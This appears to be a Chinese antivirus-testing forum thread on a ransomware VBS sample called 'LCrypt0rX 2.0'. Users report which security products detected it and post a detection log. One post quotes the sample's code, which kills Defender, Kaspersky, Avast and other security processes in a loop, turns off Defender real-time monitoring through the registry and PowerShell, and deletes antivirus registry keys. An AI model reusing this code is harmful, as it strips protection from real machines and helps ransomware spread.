勒索vbs 1x

xiaozhu009

VirusTotal - File - 804891181dc38281505fb08b0217e62c6e7a91301009fae1fd7a50ca29336402

xiaozhu009

自制0

莒县小哥

加油

360ts 扫描kill

一成不变

360  卡巴kill，刚刚才发现卡巴如果发现了病毒就会对那个文件做限制，所以这种时候用360是扫不出来的误会360了

驭龙

哇噢，又见Avira的avast引擎报法SNH

ulyanov2233

essp 解压后kill

2025/10/4 17:44:21;文件系统实时防护;文件;C:\Users\Y8219\Downloads\LCrypt0rX 2.0\LCrypt0rX 2.0.vbs;VBS/Agent.TAO 特洛伊木马;已通过删除清除;FIREFLY\Y8219;在通过应用程序创建的新文件上发生了事件: C:\Program Files\WinRAR\WinRAR.exe (4B95046B78C08FF2048F9CCD4186BC8BBDC0BFEF).;77018033AACAC7A80D79076EDAB61DE89B6D9AB2;2025/10/4 17:44:12;;

这种代码能直接关掉杀软吗

' 第一次终止防护进程
arrProcesses = Array("MsMpEng.exe", ...) ' MsMpEng.exe是Windows Defender核心进程
For Each procName In arrProcesses
    For Each proc In objWMI.ExecQuery("Select * from Win32_Process where Name="" & procName & """)
        proc.Terminate ' 强制终止进程
    Next
Next

' 后续在循环中持续终止（防止杀毒软件重启）
advapi32_ext.WriteLine "    WshShell.Run ""taskkill /IM MsMpEng.exe /F"", 0, True" ' Windows Defender
advapi32_ext.WriteLine "    WshShell.Run ""taskkill /IM avp.exe /F"", 0, True" ' 卡巴斯基
advapi32_ext.WriteLine "    WshShell.Run ""taskkill /IM AvastSvc.exe /F"", 0, True" '  Avast
advapi32_ext.WriteLine "    WshShell.Run ""taskkill /IM avgsvc.exe /F"", 0, True" ' AVG
advapi32_ext.WriteLine "    WshShell.Run ""taskkill /IM NortonSecurity.exe /F"", 0, True" ' 诺顿
' 其他杀毒软件进程...

' 禁用Windows Defender实时防护
WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware", 1, "REG_DWORD"
WshShell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware", 1, "REG_DWORD"

' 后续通过PowerShell进一步禁用实时监控
objShell.Run "powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true", 0, True

' 禁用Bitdefender
objShell.Run "cmd /c ""C:\Program Files\Bitdefender\Bitdefender 2025\bdnserv.exe"" -disable", 0, True

' 禁用卡巴斯基
objShell.Run "cmd /c ""C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus 2025\avp.com"" disable", 0, True

Sub DeleteAVRegistry(sh)
    Dim avKeys, key
    avKeys = Array("Kaspersky","Bitdefender","Avast","AVG","Norton","ESET") ' 主流杀毒软件厂商
    For Each key In avKeys
        On Error Resume Next
        ' 删除系统级和用户级的杀毒软件注册表项
        sh.RegDelete "HKLM\SOFTWARE\" & key & """"
        sh.RegDelete "HKCU\SOFTWARE\" & key & """"
    Next
End Sub

朱原睿

360下载保护kill

lingchenheiye

火绒解压杀

hansyu

McAfee
Trojan:Script/SuspiciousPowershell.O!1